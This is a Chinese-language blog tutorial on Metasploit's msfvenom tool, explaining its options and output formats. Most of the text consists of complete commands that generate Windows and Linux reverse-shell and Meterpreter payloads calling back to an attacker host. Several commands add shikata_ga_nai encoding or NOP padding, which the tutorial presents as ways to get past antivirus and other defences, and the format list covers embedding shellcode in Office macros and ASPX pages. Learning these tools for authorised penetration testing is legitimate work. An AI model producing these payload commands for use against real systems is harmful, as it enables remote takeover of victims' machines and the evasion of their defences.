MSF 之 msfvenom 学习指北

什么是 msfvenom?

msfvenom 是 Metasploit 框架中的一个强大工具,用于生成和编码恶意代码(payload),并支持多种输出格式。

基本命令格式

1
msfvenom -p <payload> [options] -f <format> -o <output file>
  • p:指定要使用的 payload。
  • [options]:包括设置 payload 参数、编码器、NOPS 等。
  • f:指定输出格式,如 exeelfraw 等。
  • o:指定输出文件。

常用参数及其作用

1. Payload 参数

  • p <payload>:指定要使用的 payload 类型,例如 windows/meterpreter/reverse_tcp
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe

2. Payload 选项

  • LHOST=<IP>:指定监听主机(即攻击者的 IP 地址)。
  • LPORT=<PORT>:指定监听端口。
  • EXITFUNC=<function>:指定 payload 退出时调用的函数(如 threadprocessseh)。

3. 编码器

  • e <encoder>:指定使用的编码器,例如 x86/shikata_ga_nai。编码器用于绕过防护措施。
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -f exe -o encoded_payload.exe
  • i <iterations>:指定编码次数,默认是 1 次,多次编码可能有助于绕过一些防护机制。
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o multi_encoded_payload.exe

4. NOPS(No-Operation)

NOPS 是 “No Operation” 的缩写,代表的是一种在计算机处理器中执行时不会产生任何有用操作的指令。通常,它是一个单字节指令,特别是在 x86 架构中,NOP 指令的机器码是 0x90

  • n <nops>:插入指定数量的 NOP 指令,用于填充空间或绕过检测机制。
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -n 16 -f exe -o payload.exe

上述命令会在生成的 payload 中插入 16 个 NOPS 指令。这些 NOPS 可能用于保护关键的 shellcode 部分,或增加代码的执行路径长度以避开简单的防护机制。

5. 输出格式

  • f <format>:指定输出格式,可以是 exeelfrawpythoncrubypowershell 等。
1
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o shell.elf
  • 常见格式包括:
    • raw: 原始二进制格式,无任何额外的包装或编码,最常用于直接嵌入到目标程序或存储为 bin 文件。
    • c: C 语言的数组格式,适用于将 shellcode 嵌入到 C 语言的程序中。
    • java: Java 格式,适用于将 shellcode 嵌入到 Java 代码中。
    • python: Python 语言的字符串格式,适用于将 shellcode 嵌入到 Python 脚本中。
    • ruby: Ruby 语言的字符串格式,适用于将 shellcode 嵌入到 Ruby 脚本中。
    • js_be: JavaScript 字节码大端格式,适用于将 shellcode 嵌入到 JavaScript 脚本中。
    • js_le: JavaScript 字节码小端格式。
    • perl: Perl 语言的字符串格式,适用于将 shellcode 嵌入到 Perl 脚本中。
    • bash: Bash 脚本格式,将 shellcode 作为 bash 脚本中的一部分。
    • sh: 类似于 bash,适用于 Shell 脚本。
    • hex: 十六进制字符串格式,适合嵌入到需要十六进制表示的环境中。
    • asp: ASP (Active Server Pages) 格式,适用于将 shellcode 嵌入到 ASP 页面中。
    • aspx: ASP.NET (C#) 格式,适用于将 shellcode 嵌入到 ASPX 页面中。
    • dll: 生成一个动态链接库 (DLL) 文件,常用于 Windows 平台的攻击。
    • exe: 生成一个可执行文件 (EXE) 文件,适用于 Windows 平台。
    • elf: 生成一个 ELF 格式的可执行文件,适用于 Linux 平台。
    • macho: 生成一个 Mach-O 格式的可执行文件,适用于 macOS 平台。
    • psh: PowerShell 脚本格式,适用于将 shellcode 嵌入到 PowerShell 脚本中。
    • vba: VBA (Visual Basic for Applications) 格式,适用于将 shellcode 嵌入到 Office 宏中。
    • vbs: VBScript 格式,适用于将 shellcode 嵌入到 VBScript 中。

6. 生成文件

  • o <file>:指定生成的文件名和路径。
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /tmp/payload.exe

7. 其它选项

  • a <architecture>:指定架构(如 x86x64)。
  • -platform <platform>:指定平台(如 windowslinuxosx)。
  • b <badchars>:指定要避免的字符,例如 \x00
  • l:列出可用的 payload、编码器、NOPS、平台等。例如,msfvenom -l payloads 可以列出所有可用的 payload。

8. 查看帮助

  • h 或 -help:显示帮助信息和所有可用参数。

使用示例

  1. 生成一个带有反向 TCP 连接的 Windows 可执行文件

    1
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe
  2. 生成一个 Python 格式的 shellcode

    1
    msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f python
  3. 生成并编码一个 Windows payload

    1
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded_payload.exe
  4. 生成一个适用于 Linux 的 ELF 可执行文件

    1
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o shell.elf

MSF 之 msfvenom 学习指北
https://blog.tddt.cc/posts/7.Msfvenom-Learning.html
作者
TechPANG
发布于
2024年9月5日
许可协议